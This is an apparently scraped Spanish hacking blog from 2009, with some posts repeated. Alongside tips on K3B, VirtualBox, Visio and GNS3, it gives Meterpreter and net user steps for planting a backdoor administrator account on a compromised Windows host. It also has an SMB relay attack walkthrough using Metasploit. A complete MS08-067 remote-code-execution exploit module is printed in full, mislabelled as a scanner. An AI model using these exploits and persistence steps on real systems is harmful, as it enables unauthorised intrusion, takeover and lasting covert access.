Bueno, el titulo es mentira ;) los ususarios los creamos desde una shell normal y corriente, pero como soy un adicto del hashdump me gusta entrar por la puerta grande.
Uno de los primeros pasos una vez comprometido un sistema es volcar credenciales, informacion es poder, pero si vamos con la hora pegada o estamos sobre el alambre, no esta de mas crearse un usuario para futuros psexec.
Vamos por pasos:
1. Arrancamos un cmd:
execute -H -f cmd.exe -i
2. Creamos un usuario:
net user $usuario $password /add
3. Lo añadimos al grupo de administradores:
net localgroup Administradores $usuario /add
4. Y comprobamos:
net localgroup Administradores
Sacamos una Guinness, nos la bebemos, eructamos y nos hacemos socios del Club Empirico de Amigos del Priapismo (CEAP).
miércoles, 22 de julio de 2009
sábado, 2 de mayo de 2009
No solo de pan vive el hombre...
Cada vez que reinstalo el sistema tengo que meterme en eol y empezar a buscar el puto parametro de k3b para quemar las isos de la xbox, asin que me lo apunto aqui...
* Entramos en el programa, menú Settings > Configure K3B
* Sección Programs
* Pestaña User Parameters
* Buscamos growisofs y añadimos en el recuadro:
-use-the-force-luke=break:1913760
I was out of my head I was so wasted I was wasted.
(Black Flag dixit).
* Entramos en el programa, menú Settings > Configure K3B
* Sección Programs
* Pestaña User Parameters
* Buscamos growisofs y añadimos en el recuadro:
-use-the-force-luke=break:1913760
I was out of my head I was so wasted I was wasted.
(Black Flag dixit).
miércoles, 29 de abril de 2009
Smb relay o Credential reflection? Segun lo mires...
El smb relay, o como lo llama microsoft, credential reflection, es un problema inherente al maravilloso (sic) protocolo samba. Ha sido parcialmente parcheado, solo parcialmente, porque arreglar el desaguisado significaria cambiar la forma en que trabajan compartiendo archivos la inmensa mayoria de los ordenadores.
El protocolo samba actualmente trabaja de la siguiente manera:
1.- El cliente llama a la puerta del servidor.
2.- El servidor mira por la mirilla y le dice que le enseñe la patita, pero de una forma especial, ya que si alguien anda esnifando la red, podria coger al vuelo el hash del password, asi que le propone un reto (challege), yo te mando un challenge, tu me lo codificas con el hash de tu password (que yo conozco) y si coincide con el que yo codifique te abro la puerta...
3.- El cliente le manda el challenge de vuelta codificado con su hash.
4.- El servidor compara los dos challeges y si coinciden quita los cerojos, abre la puerta y le invita a cafe.
Ahora bien, que pasa si hacemos como los hermanos Marx, osea, volver loco al servidor? Pues eso, que se vuelve loco. A este proceso yo lo llamo "la parte contratante de la primera parte"
1.- El cliente llama al timbre.
2.- El servidor le envia el challenge.
3.- El cliente se pone el mundo por montera, pone a los black flag en el mp3 y haciendose el loco le manda otro challenge al servidor diciendo "Si tienes cojones codificame este challenge con mi password".
4.- El servidor, que aunque yanki, parece buen español, si le mientan los cojones pierde la cabeza, asi que responde.
5.- El cliente reenvia el challenge que le acaba de mandar el server.
6.- El servidor cerrojos, puerta, cafe y lo que haga falta...
Un poco absurdo no? Pues si, pero es microsoft, no espereis nada del otro mundo.
Esto funcionaba hasta que se decidieron a parchear el problema. Con vista y server 2008 se arreglo a medias, ya que si hacemos un menage a trois (menasatrua(trio)), entre dos clientes y un servidor y nos metemos en medio (mitm) aquello se convierte en el camarote de los hermanos marx, donde nadie sabe que hacer con el challege y acabamos autentificados ;)
Para realizar este ataque a una maquina sin parchear, habria que cambiar en el registro del cliente el valor de:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
Que por defecto es "\Device\" y dejarlo en blanco. Reiniciar la maquina y hacer un lindo ataque con el exploit smb_relay de metasploit apuntando al servidor.
P.D: Lei hace tiempo un howto cojonudo, con capturas de wireshark explicando todo el proceso paso a paso, pena que no recuerdo la direccion. Si recupero la memoria linkare.
El protocolo samba actualmente trabaja de la siguiente manera:
1.- El cliente llama a la puerta del servidor.
2.- El servidor mira por la mirilla y le dice que le enseñe la patita, pero de una forma especial, ya que si alguien anda esnifando la red, podria coger al vuelo el hash del password, asi que le propone un reto (challege), yo te mando un challenge, tu me lo codificas con el hash de tu password (que yo conozco) y si coincide con el que yo codifique te abro la puerta...
3.- El cliente le manda el challenge de vuelta codificado con su hash.
4.- El servidor compara los dos challeges y si coinciden quita los cerojos, abre la puerta y le invita a cafe.
Ahora bien, que pasa si hacemos como los hermanos Marx, osea, volver loco al servidor? Pues eso, que se vuelve loco. A este proceso yo lo llamo "la parte contratante de la primera parte"
1.- El cliente llama al timbre.
2.- El servidor le envia el challenge.
3.- El cliente se pone el mundo por montera, pone a los black flag en el mp3 y haciendose el loco le manda otro challenge al servidor diciendo "Si tienes cojones codificame este challenge con mi password".
4.- El servidor, que aunque yanki, parece buen español, si le mientan los cojones pierde la cabeza, asi que responde.
5.- El cliente reenvia el challenge que le acaba de mandar el server.
6.- El servidor cerrojos, puerta, cafe y lo que haga falta...
Un poco absurdo no? Pues si, pero es microsoft, no espereis nada del otro mundo.
Esto funcionaba hasta que se decidieron a parchear el problema. Con vista y server 2008 se arreglo a medias, ya que si hacemos un menage a trois (menasatrua(trio)), entre dos clientes y un servidor y nos metemos en medio (mitm) aquello se convierte en el camarote de los hermanos marx, donde nadie sabe que hacer con el challege y acabamos autentificados ;)
Para realizar este ataque a una maquina sin parchear, habria que cambiar en el registro del cliente el valor de:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
Que por defecto es "\Device\" y dejarlo en blanco. Reiniciar la maquina y hacer un lindo ataque con el exploit smb_relay de metasploit apuntando al servidor.
P.D: Lei hace tiempo un howto cojonudo, con capturas de wireshark explicando todo el proceso paso a paso, pena que no recuerdo la direccion. Si recupero la memoria linkare.
Clonar imagen vdi de Virtualbox.
Desde la linea de consola:
sudo VBoxManage clonevdi "imagen a clonar".vdi "imagen clonada".vdi
Si la imagen esta fuera del path de VB hay que decirle el path entero y verdadero.
...Y como decian los Misfits...
"Attitude, you got some fucking attitude..." Lalalala la lala
sudo VBoxManage clonevdi "imagen a clonar".vdi "imagen clonada".vdi
Si la imagen esta fuera del path de VB hay que decirle el path entero y verdadero.
...Y como decian los Misfits...
"Attitude, you got some fucking attitude..." Lalalala la lala
Modulo de escaneo para MS08_67 en metasploit.
Guardar como "loquesea".rb en /pentest/exploits/framework3/modules/auxiliary/scanner/smb/.
##
# $Id:$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Server Service Relative Path Stack Corruption',
'Description' => %q{
This module exploits a parsing flaw in the path canonicalization code of
NetAPI32.dll through the Server Service. This development version has
been tested against Windows XP SP2 with DEP enabled.
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5773 $',
'References' =>
[
[ 'MSB', 'MS08-067' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 English', { 'Ret' => 0x6f88f727, 'DisableNX' => 0x6F8916E2, 'Scratch' => 0x00020408 }], # jmp esi / disablenx (acgenral.dll)
[ 'Windows XP SP3 English', { 'Ret' => 0x6f88f807, 'DisableNX' => 0x6F8917C2, 'Scratch' => 0x00020408 }], # jmp esi / disablenx (acgenral.dll)
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71bf175f, 'DisableNX' => 0x71bf175f, 'Scratch' => 0x00020408 }], # jmp esi / jmp esi (ws2help.dll)
],
'DisclosureDate' => 'Oct 12 2008'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
], self.class)
end
def exploit
# NET_API_STATUS NetprPathCanonicalize(
# [in, string, unique] SRVSVC_HANDLE ServerName,
# [in, string] WCHAR* PathName,
# [out, size_is(OutbufLen)] unsigned char* Outbuf,
# [in, range(0,64000)] DWORD OutbufLen,
# [in, string] WCHAR* Prefix,
# [in, out] DWORD* PathType,
# [in] DWORD Flags
# );
# Padding is really picky for some reason
padder = [*("A".."Z")]
pad = "A"
while(pad.length < 7)
c = padder[rand(padder.length)]
next if pad.index(c)
pad += c
end
prefix = ""
server = Rex::Text.rand_text_alpha(rand(8)+1).upcase
jumper = Rex::Text.rand_text_alpha(70).upcase
jumper[04,4] = [target.ret].pack("V") # jmp esi
jumper[58,2] = "\xeb\x62"
path =
Rex::Text.to_unicode("\\") +
# This buffer is removed from the front
Rex::Text.rand_text_alpha(100) +
# Shellcode
payload.encoded +
# Relative path to trigger the bug
Rex::Text.to_unicode("\\..\\..\\") +
# Extra padding
Rex::Text.to_unicode(pad) +
# Writable memory location (static)
[target['Scratch']].pack("V") + # EBP
# NS_DisableNX::g_szCommandLine() FTW (acgenral.dll)
[target['DisableNX']].pack("V") +
# Padding with embedded jump
jumper +
# NULL termination
"\x00" * 2
connect()
smb_login()
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
)
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
stub =
NDR.uwstring(server) +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(1024)) +
NDR.wstring("") +
NDR.long(4097) +
NDR.long(0)
begin
print_status("Triggering the vulnerability...")
dcerpc.call(0x1f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end
# Cleanup
handler
disconnect
end
end
Visio 2007 sobre Crossover en Ubuntu.
Soy poco o nada amigo de los chicos de Redmond, aunque tampoco soy un taliban de Linux (¿o si?), pero he de reconocer que hay cosas que hacen bien, pocas, pero las hay... Y una de ellas es Visio, del cual dependo, por motivos meramente puntuales, totalmente. Asi que aqui van los pasos para virtualizarlo sobre Crossover y no tener que virtualizar un xp.
1.- Crear un nuevo contenedor (bottle) xp.
2.- Descargar de microsoft e instalar en el contenedor como software no soportado en este orden:
dotnetfx.exe
msxml3.msi
msxml6.msi
3.- Instalar el Visio en el mismo contenedor tambien en la opcion software no soportado.
4.- Hacer una captura de pantalla y mandarsela al tio Gates, le alegrareis el dia.
1.- Crear un nuevo contenedor (bottle) xp.
2.- Descargar de microsoft e instalar en el contenedor como software no soportado en este orden:
dotnetfx.exe
msxml3.msi
msxml6.msi
3.- Instalar el Visio en el mismo contenedor tambien en la opcion software no soportado.
4.- Hacer una captura de pantalla y mandarsela al tio Gates, le alegrareis el dia.
lunes, 27 de abril de 2009
Usar la consola de gnome con el gns3.
Con la siguiente configuracion:
gnome-terminal -t %d -e 'telnet %h %p' > /dev/null 2>&1 &
Suscribirse a:
Entradas (Atom)